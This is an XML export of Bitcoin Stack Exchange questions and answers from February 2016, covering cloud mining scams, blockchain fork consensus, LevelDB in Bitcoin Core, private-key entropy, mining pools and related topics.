  <row Id="42906" PostTypeId="2" ParentId="42904" CreationDate="2016-02-15T06:08:45.353" Score="1" Body="&lt;p&gt;There are lots of them, that's called &quot;cloud mining&quot; - just google the term and you'll probably find your way.  You either rent a miner or pay for mining equipment, or eventually just throw your money into a black box with the expectation that you'll get some reward later - basically mining operators crowdfunding some (or all) of the investments and associated risks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be aware that some &quot;cloud mining&quot;-operations have been nothing but ponzi scams - no real mining equipment involved, just a pool of money with early investors receiving fantastic payouts from the pool, and eventually the operators grabbing the whole pool and running when the inflow of new investors no longer can offset the payouts to the earlier investors.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2016-02-15T06:08:45.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42907" PostTypeId="2" ParentId="42093" CreationDate="2016-02-15T06:30:50.137" Score="1" Body="&lt;p&gt;I believe &lt;a href=&quot;http://followmyvote.com&quot; rel=&quot;nofollow&quot;&gt;http://followmyvote.com&lt;/a&gt; is worth looking into; at least they claim to allow both anonymity, security and auditability at the same time.  I'm not sure if it's resistant to vote-buying, it sounds a bit too good to be true, but I'd recommend to reach out to Adam Kaleb Ernest and ask for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the opposite approach, just accept that the nut is uncrackable.  The German Pirate Party seems to be doing that; they are using Liquid Feedback and voting non-anonymously there.  Centralized tool and no blockchain involved; the developers don't see blockchain tech having anything to do with voting systems.  Anonymity collides very much with the idea behind &quot;Liquid Democracy&quot;, and they've so far given up on the idea of going for pseudonymity.  Probably the design in followmyvote could be used to allow for pseudonymity.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastActivityDate="2016-02-15T06:30:50.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42908" PostTypeId="2" ParentId="42905" CreationDate="2016-02-15T08:06:41.463" Score="3" Body="&lt;p&gt;The Bitcoin blockchain is &lt;em&gt;maintained and secured&lt;/em&gt; by people throughout the world: miners. They take care of the security and validation of the decentralized consensus rules. The incentive for those people is the bitcoin reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your own blockchain will need such people to secure your blockchain. How are you going to incentivize them to mine for your blockchain? Is it going to offer some service in return and/or a reward in an alt coin (like the majority of altcoin blockchains) ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, I see no reason to create your own blockchain &lt;strong&gt;unless&lt;/strong&gt; you have a use case that &lt;strong&gt;noone&lt;/strong&gt; have thought until now. There are several hundred different blockchains already. The vast majority are bitcoin clones that offer nothing new and have much weaker security than bitcoin. Others, like Dash offer nice additions and just a few, like Ethereum, offer unique functionality on their blockchains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even for massive financial institutions I would argue that they will not gain much if they build a blockchain in isolation. One application I see is several such institutions joining to support one blockchain. So they share the resources of securing the blockchain, they have part of transactions public for auditing but still control what is private and what not (permissioned blockchains).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would need to know the requirements of the hypothetical project to be more specific. However, I do recommend you to read &lt;a href=&quot;http://bitfury.com/content/5-white-papers-research/public-vs-private-pt1-1.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://bitfury.com/content/5-white-papers-research/public-vs-private-pt2-1.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, since it goes into detail on requirements for financial institutions and governments and permissioned blockchains.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-02-15T08:06:41.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42910" PostTypeId="1" CreationDate="2016-02-15T10:44:47.153" Score="1" ViewCount="181" Body="&lt;p&gt;I have seven PC and I want to generate a unique Bitcoin address. On one PC the speed to generate addresses is low. &#xA;How can I use &lt;code&gt;vanitygen.exe&lt;/code&gt; on all of my computers to increase the speed of generating the intended vanity address?&lt;/p&gt;&#xA;" OwnerUserId="33036" LastEditorUserId="5406" LastEditDate="2016-02-15T13:29:24.843" LastActivityDate="2016-07-28T04:34:30.137" Title="Use several PC to generate vanity addresses" Tags="|address|vanitygen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42911" PostTypeId="1" AcceptedAnswerId="42914" CreationDate="2016-02-15T11:27:55.233" Score="3" ViewCount="1208" Body="&lt;p&gt;Using this scenario &lt;a href=&quot;https://bitcoin.stackexchange.com/a/40435&quot;&gt;https://bitcoin.stackexchange.com/a/40435&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Let's say we have two competing blockchain tips: They both start from&#xA;  Block A as a parent, but then there are two different blocks found at&#xA;  the same time: Block B1 and Block B2. Both blocks have the same&#xA;  difficulty level, and as we learned above this is independent of when&#xA;  exactly they were found. Therefore, the total difficulty of Block A +&#xA;  Block B1 = Block A + Block B2. One of the two chains will have a&#xA;  greater total difficulty &lt;strong&gt;once either Block C1 or Block C2 will be&#xA;  found.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there consensus on the tip being B1 or B2, or only until C1 or C2 is found?  If 2 blockchain explorers have both B1 and B2, can they randomly choose either to be the tip of the blockchain and both would be deemed to be correct?&lt;/p&gt;&#xA;" OwnerUserId="33038" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-02-15T22:28:06.153" Title="Is there actual consensus on the blockchain's tip or only until the next block?" Tags="|blockchain|difficulty|blockchain-fork|consensus|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42912" PostTypeId="1" CreationDate="2016-02-15T11:33:26.783" Score="2" ViewCount="15" Body="&lt;p&gt;I need to export my wallet from blockchain.info to Multibit, but i have no idea how to do it, can you please help me? thank you&lt;/p&gt;&#xA;" OwnerUserId="33039" LastEditorUserId="5406" LastEditDate="2016-02-15T12:18:48.950" LastActivityDate="2016-02-15T12:18:48.950" Title="How can I export my wallet from blockchain.info to Multibit?" Tags="|blockchain.info|multibit|import|private-key-export|" AnswerCount="0" CommentCount="1" ClosedDate="2016-02-15T12:15:34.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="42913" PostTypeId="2" ParentId="42905" CreationDate="2016-02-15T11:37:30.327" Score="0" Body="&lt;p&gt;As Bitcoin blockchain positive sides are covered in the answer above here are some negative sides&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You cannot change the rules - block time is 10 minutes, there is so much text data you can add by default, etc. This makes Bitcoin transactions non-trivial for more advanced transactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even Bitcoin community itself seems to be unable to change its own rules - the current debate about how to make block sizes larger has shown weaknesses in the community and inability to have a resolution. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin is de facto currency of darknet markets and drug trade, so it implies a lot of crime and money laundering. This negative image may harm public relations of any Bitcoin blockchain based project.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However Bitcoin is not only public blockchain out there. If you are building anything custom you should see out at least Ethereum, Stellar, NXT and Bitshares which have more advanced features built into their respective protocols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please also see that the common argument &quot;secured by miners&quot; may not really apply to your use case; for example consensus based Stellar works with low number of participants even if there are no miners. The future Ethereum protocol (Casper) is migrating to proof-of-stake instead of proof-of-work making miners obsolete. In fact miners are rarely present in any of blockchain technologies currently being developed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see projects that innovate on the top of Bitcoin blockchain see Counterparty. They are facing Bitcoin constraints like the requirement of using two blocks for certain transactions, making instant-like transfers already infeasible.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2016-02-15T11:37:30.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42914" PostTypeId="2" ParentId="42911" CreationDate="2016-02-15T12:03:03.077" Score="8" Body="&lt;p&gt;No, there is no consensus until the next block is found. The network is experiencing a blockchain-fork. It will only mend once one of the tips pulls ahead by adding another block. Then all nodes will &lt;em&gt;reorganize&lt;/em&gt; to the longest chain and consensus is reestablished. The losing chain becomes an extinct branch – valid but not part of the longest chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There can't be consensus before because from a node's perspective there is no way to tell reliably which one of the two blocks is more popular in the network. They could ask around, but would get mixed answers and could be deceived through a sybil attack anyway. Therefore, nodes accept the first valid block they hear about as the current blockchain tip until proven otherwise – the only valid proof being to be shown a longer chain. They'd still keep the competing block though, and propagate if it is later needed for a reorganization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, such blockchain forks can even persist for several blocks when competing blocks are found subsequently. E.g. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4638/5406&quot;&gt;in 2012 there was a blockchain fork with four blocks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During a blockchain fork, there is a higher risk of doublespends because the competing blocks at same height may confirm different transactions. However, if they occur from natural random chance (instead of an attack), they would be working from the same set of unconfirmed transactions and should contain a mostly matching set. As each blockchain tip considers the other not to be relevant, they do not split transactions to be confirmed, but both try to confirm the whole set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes. Both are valid blockchain tips, either may turn out to be part of the longest chain in the long run, but a good blockchain explorer should maybe show both until it is clear which one will remain part of the longest chain.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-02-15T22:28:06.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42915" PostTypeId="2" ParentId="42911" CreationDate="2016-02-15T12:09:40.933" Score="4" Body="&lt;p&gt;Only once C1 or C2 is found. Before that some nodes will have B1 as tip, while others will have B2 as tip. Also note that most nodes wouldn't even necessarily know about both B1 and B2: most will only know either B1 or B2. As such, those nodes are not even aware that there is no global consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a reason why for larger amounts of money you really want to wait multiple confirmations. 6 is a number commonly accepted as safe.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-02-15T12:09:40.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42916" PostTypeId="2" ParentId="10381" CreationDate="2016-02-15T12:46:15.350" Score="17" Body="&lt;p&gt;Bitcoin Core contains a tool to do this properly (filtering out any orphan blocks, putting everything in the correct order — which will work a lot better than just concatenating the block files. It's documented in its own README, here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/contrib/linearize&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/tree/master/contrib/linearize&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Launch Bitcoin with an &lt;code&gt;rpcuser&lt;/code&gt; and &lt;code&gt;rpcpassword&lt;/code&gt; set in your config file, with the correct location as per &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Checkout the Bitcoin source from Github and &lt;code&gt;cd&lt;/code&gt; to &lt;code&gt;contrib/linearize&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Copy &lt;code&gt;example-linearize.cfg&lt;/code&gt; to &lt;code&gt;linearize.cfg&lt;/code&gt; and update it with your &lt;code&gt;rpcuser&lt;/code&gt;/&lt;code&gt;rpcpassword&lt;/code&gt; values, along with the maximum block height you want to output (&lt;code&gt;max_height&lt;/code&gt;), and the path to your data directory (&lt;code&gt;input&lt;/code&gt;), as well as the path to your desired output file (&lt;code&gt;output_file&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;./linearize-hashes.py linearize.cfg &amp;gt; hashlist.txt&lt;/code&gt; followed by &lt;code&gt;./linearize-data.py linearize.cfg&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="33042" LastActivityDate="2016-02-15T12:46:15.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42917" PostTypeId="2" ParentId="42904" CreationDate="2016-02-15T17:51:44.347" Score="1" Body="&lt;p&gt;There are a few that I have tried that seem to be OK and not ponzi schemes. But don't take my word for it and figure it out for yourself.&#xA;Hashnest&lt;br&gt;&#xA;Mining Sweden&#xA;Genesis Mining&lt;/p&gt;&#xA;" OwnerUserId="32941" LastActivityDate="2016-02-15T17:51:44.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42918" PostTypeId="2" ParentId="256" CreationDate="2016-02-15T18:04:38.567" Score="1" Body="&lt;p&gt;There are other practical challenges a country need to face:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before even starting the change, a government must convince people.&#xA;Old people here in Hungary still insist on using cash, and nobody can convince them to use bank cards: they got their salaries on the bank account and the first thing they do is going to the bank and withdraw the entire account as cash.&#xA;Also crypto-currencies require internet access. This means every people in the country must have some form of access to the internet to be able to transfer money between each other. So far no country in the world have 100% internet penetration. Here in Hungary the internet penetration is only 75%, this means 2.5 million don't have or don't wish to have access to the internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These people must be served by new system as well. Eg. they should make paper wallets that should be filled up by their employer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People also need education. If you are careless it's rather easy to wipe off the private key of the current change address from your computer or smart phone and losing all the money.&#xA;Also in case of the paper wallets if someone can access their papers for a short time can take the money off from them without actually stealing the paper. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authorities must find a way to track people's spendings. Banks nowadays must report the transactions to the tax authorities, so they can claim the right amount of tax. With bitcoin we are basically back the age of cash which is almost untrackable. &#xA;I have no idea how could they accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current Bitcoin system has a fixed money supply.&#xA;It doesn't address the problem of lost coins and hoarding.&#xA;Without some depreciation there is no incentive to actively exchange it. &#xA;So people instead will hoard it and use it as permanent store of value.&#xA;If we want active exchange then we should create a system that encodes some moderate inflation, that's large enough so people don't want store their savings in it, instead they exchange it and buy other financial assets to store value in.&lt;/p&gt;&#xA;" OwnerUserId="32906" LastEditorUserId="32906" LastEditDate="2016-02-15T22:10:05.693" LastActivityDate="2016-02-15T22:10:05.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42919" PostTypeId="2" ParentId="2124" CreationDate="2016-02-15T18:37:05.147" Score="0" Body="&lt;p&gt;Meni describes the issue well enough: Your Bitcoin Core is still catching up, and your incoming transaction will show up once the blocks that confirmed it get processed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check meanwhile whether the transaction went through, you can use a blockchain explorer. Enter the address you gave when you requested the payment to see whether the transaction is visible on the network. You can find a blockchain explorer for example at &lt;a href=&quot;https://www.blocktrail.com/BTC&quot; rel=&quot;nofollow&quot;&gt;blocktrail.com&lt;/a&gt;. Entering your address does not compromise your payment.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-02-15T18:37:05.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42920" PostTypeId="1" CreationDate="2016-02-15T20:29:43.273" Score="1" ViewCount="650" Body="&lt;p&gt;Is there any statement about the design of Bitcoin alluding to dealing with large pools controlling a good part of the network? while it is true that pools can compete and people can &quot;vote&quot; by switching pools, the statements handed down regarding major decisions affecting the Bitcoin system seem eerily central and authoritative. was this kind of power considered initially and is thus balanced now, or was Bitcoin intended to be strictly p2p initially?&lt;/p&gt;&#xA;" OwnerUserId="19032" LastActivityDate="2022-03-03T20:17:49.183" Title="did Satoshi anticipate large pools?" Tags="|mining-pools|satoshi-nakamoto|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42921" PostTypeId="2" ParentId="42896" CreationDate="2016-02-15T22:22:33.067" Score="3" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt;&lt;br&gt;&#xA;Mining is heavy duty number crunching, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/41276/5406&quot;&gt;your iMac is useless for that&lt;/a&gt;. Running a node helps the network and gives you your own copy of the blockchain. Your iMac should probably be able to do that.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mining&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The purpose of mining is to 1. achieve consensus about the state of the network, 2. confirm transactions, and 3. initially distribute the bitcoins. For mining your machine continuously shuffles the unconfirmed transaction pool and tries whether the current jumble resolves to a valid block. To contribute to the network, you have to have a chance at succeeding at finding a block. With a &quot;mid 2011 iMac&quot; you do not have a chance at succeeding at mining, as explained on &lt;a href=&quot;https://bitcoin.stackexchange.com/q/41276/5406&quot;&gt;In the ASIC-age, is it worth starting mining Bitcoin at home?&lt;/a&gt;. Its computational power for the purpose of mining doesn't register, it's a waste of money, time, and unnecessary wear for your hardware. To have any kind of effect, you need an ASIC today.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Running a node&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The purpose of running a node is to 1. relay information in the network, 2. check the work of miners for validity, and 3. to have your own copy of the blockchain. Catching up with the network requires some computational effort, but nodes can be run on fairly lean systems. Personally, I run a node on a RaspberryPi 2B, it took roughly eighteen days to synchronize with the blockchain, but is now happily churning along. You can do that with your iMac, but really it's only useful if you either have it running a large part of the day (at least 6h), or are interested in having your own copy of the blockchain. Not sure how well an iMac deals with permanent load though, so maybe it's not the best machine for a 24/7 gig.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-11-30T23:58:16.613" LastActivityDate="2017-11-30T23:58:16.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42922" PostTypeId="1" AcceptedAnswerId="42923" CreationDate="2016-02-15T22:38:23.843" Score="1" ViewCount="68" Body="&lt;p&gt;Am I right in thinking there are 90! possibilities.&#xA;Would it be random?&#xA;Would you trust this technique?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4RYbc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/4RYbc.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5450" LastEditorUserId="5450" LastEditDate="2016-02-15T23:11:32.100" LastActivityDate="2016-02-15T23:19:54.687" Title="How secure would it be to use my toy bingo machine to generate a bitcoin private key?" Tags="|private-key|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42923" PostTypeId="2" ParentId="42922" CreationDate="2016-02-15T23:11:37.883" Score="0" Body="&lt;p&gt;The address space has 2&lt;sup&gt;160&lt;/sup&gt; possible addresses, so to fully benefit from that space, you'd need to surpass a space of &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2&lt;sup&gt;160&lt;/sup&gt; = 1.46E48 combinations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is achieved by picking 26 numbers from your toy bingo machine as &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;90!/64! = 1.17E49&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;while you keep track of the order in which they are picked.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To achieve at least 64 bit of entropy, you'd need 10 numbers (order recorded) from your toy bingo machine:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;90!/80! = 2.07E19 &gt; 1.84E19 = 2&lt;sup&gt;64&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which was suggested as a minimum on the related question: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/22159/5406&quot;&gt;How many throws of a dice are necessary to defeat a brute force attack?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All numbers are assuming that the toy bingo machine acts reasonably random.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2016-02-15T23:19:54.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42924" PostTypeId="2" ParentId="42920" CreationDate="2016-02-15T23:16:12.293" Score="3" Body="&lt;p&gt;There's a conversation on cryptography@metzdowd.org shortly after the release of the Bitcoin paper that touches on this tangentially:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mail-archive.com/cryptography%40metzdowd.com/msg09963.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;James A. Donald - Sun, 02 Nov 2008&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For transferable proof of work tokens to have value, they must have&#xA;monetary value.  To have monetary value, they must be transferred within&#xA;a very large network - for example a file trading network akin to&#xA;bittorrent.&lt;/p&gt;&#xA;&lt;p&gt;To detect and reject a double spending event in a timely manner, one&#xA;must have most past transactions of the coins in the transaction, which,&#xA;naively implemented, requires each peer to have most past&#xA;transactions, or most past transactions that occurred recently. [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mail-archive.com/cryptography@metzdowd.com/msg09964.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Satoshi Nakamoto - Sun, 02 Nov 2008&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Long before the network gets anywhere near as large as that, it would be safe&#xA;for users to use Simplified Payment Verification (section 8) to check for&#xA;double spending, which only requires having the chain of block headers, or&#xA;about 12KB per day.  Only people trying to create new coins would need to run&#xA;network nodes.  At first, most users would run network nodes, but as the&#xA;network grows beyond a certain point, it would be left more and more to&#xA;specialists with server farms of specialized hardware.  A server farm would&#xA;only need to have one node on the network and the rest of the LAN connects with&#xA;that one node.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;From the word choice used here, a datacenter of machines using a single server to construct blocks is intended. However, many different parties using the same pool server is not contemplated.&lt;/p&gt;&#xA;&lt;p&gt;Of course, that doesn't mean that pooled mining is wrong - just that it wasn't anticipated.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-02-15T23:16:12.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42925" PostTypeId="1" AcceptedAnswerId="42929" CreationDate="2016-02-15T23:44:59.520" Score="6" ViewCount="630" Body="&lt;p&gt;Since 0.8 bitcoind uses LevelDB for the storage of the UTXO set in &lt;code&gt;chainstate/&lt;/code&gt; and the block index in &lt;code&gt;blocks/index/&lt;/code&gt;. On github special branch of LevelDB can be found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/leveldb&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/leveldb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What reasons made LevelDB the best choice for key-value storage compared to other embedded database solutions? How does bitcoind's own LevelDB fork differ from the official version?&lt;/p&gt;&#xA;" OwnerUserId="32356" LastEditorUserId="32356" LastEditDate="2016-02-16T01:18:30.330" LastActivityDate="2016-02-16T05:04:34.497" Title="Why does bitcoind use a fork of LevelDB for key-value storage?" Tags="|database|utxo|leveldb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42927" PostTypeId="5" CreationDate="2016-02-16T03:38:24.070" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-02-16T03:38:24.070" LastActivityDate="2016-02-16T03:38:24.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42928" PostTypeId="4" CreationDate="2016-02-16T03:38:24.070" Score="0" Body="LevelDB is an embedded key-value storage developed by Google that is used in Bitcoin Core for block index storage and quick access to the UTXO set (unspent transaction outputs)." OwnerUserId="32356" LastEditorUserId="5406" LastEditDate="2016-02-16T08:59:16.663" LastActivityDate="2016-02-16T08:59:16.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42929" PostTypeId="2" ParentId="42925" CreationDate="2016-02-16T05:04:34.497" Score="7" Body="&lt;p&gt;The fork serves two purposes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Local modifications that are hard to bring upstream:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows support (which is partially based on the existing Windows port, but needed changes for building in MinGW)&lt;/li&gt;&#xA;&lt;li&gt;Removal of compression support, as it doesn't help, and complicates the build.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Strict control over changes. Given the previous experience with the BDB to LevelDB changeover that caused a fork in the network, it is wise to not use system-wide installed versions of the library. Hypothetically, even if a change is a bug fix from the point of view of LevelDB, we may want to maintain the buggy behaviour to prevent a fork in the network, depending on the bug.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-02-16T05:04:34.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42930" PostTypeId="2" ParentId="42900" CreationDate="2016-02-16T05:09:55.820" Score="8" Body="&lt;p&gt;Factom seeks to be a distributed and autonomous protocol, like Bitcoin.  There is no terms of service. Instead, Factom uses a token (factoid) to reward servers for running the protocol.  Independently, the protocol requires users to use Entry Credits (which act like accounts) to create chains and add entries to those chains. Factoids are converted into Entry Credits.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Entry Credits are not tradable, and only require requests be signed with the Entry Credit Key, users can buy Entry Credits from anyone who has factoids.  A user of the protocol never has to touch a tradable token.  Entry Credits are also managed at a constant dollar value; use of the Factom protocol carries no regulatory or currency risks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tieron does much of what Factom does as a centralized solution.  They provide digital receipts, but you do have to open an account and agree to their terms of service.  To use Tieron, you set up an account, and pay a subscription fee.  They have no token or altcoin.  This is simply a standard service company providing data integrity services for a fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Full discolsure:  I am the principle designer of Factom, which also benefited from design work and technical input from Wayne Vaughan, CEO of Tieron&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated with a bit more information&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3528" LastEditorUserId="3528" LastEditDate="2016-02-16T18:44:32.460" LastActivityDate="2016-02-16T18:44:32.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42932" PostTypeId="1" CreationDate="2016-02-16T13:41:32.173" Score="0" ViewCount="157" Body="&lt;p&gt;What are the most famous crypto-currencies which use repeated hashes as proof-of-work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the other proof-of-work methods?&lt;/p&gt;&#xA;" OwnerUserId="26904" LastActivityDate="2019-09-13T10:15:07.620" Title="Hash-based crypto-currencies?" Tags="|hash|proof-of-work|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42933" PostTypeId="1" AcceptedAnswerId="46160" CreationDate="2016-02-16T14:41:00.787" Score="17" ViewCount="453" Body="&lt;p&gt;&lt;a href=&quot;https://np.reddit.com/r/btc/comments/45xqt0/bitcoin_core_holds_less_than_75_of_the_nodes/d01tvjx&quot;&gt;I've encountered&lt;/a&gt; claims that Segregated Witness was &quot;&lt;a href=&quot;https://np.reddit.com/r/btc/comments/45xqt0/bitcoin_core_holds_less_than_75_of_the_nodes/d01tvjx&quot;&gt;not really tested&quot; and is being &quot;rushed&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my understanding that SegWit had been running on Elements for more than half a year already, and that it is currently being run on its own testnet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Has development of SegWit been rushed? &lt;/li&gt;&#xA;&lt;li&gt;What level of testing has been performed on Segregated Witness? &lt;/li&gt;&#xA;&lt;li&gt;Is it reasonable to expect SegWit to be sufficiently tested and ready for deployment in April?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-16T15:33:37.540" LastActivityDate="2017-01-26T15:33:16.317" Title="How thoroughly has Segregated Witness been tested?" Tags="|testnet|testing|block-size-increase|sidechains|segregated-witness|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42935" PostTypeId="2" ParentId="42932" CreationDate="2016-02-16T19:38:24.133" Score="1" Body="&lt;p&gt;repeated hashes? most of them use just two repeats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are not many other, the vast majority just use two calls to some cryptographic hash function. But a primecoin and cuckoo hash cycle has been suggested. Primecoin arguably searches for some sequence of prime numbers, yet the utility of the result is questionable. On the orher hand the cucoo cycles in hash tables weren't implemented in a practical crypto coin.&lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-16T19:38:24.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
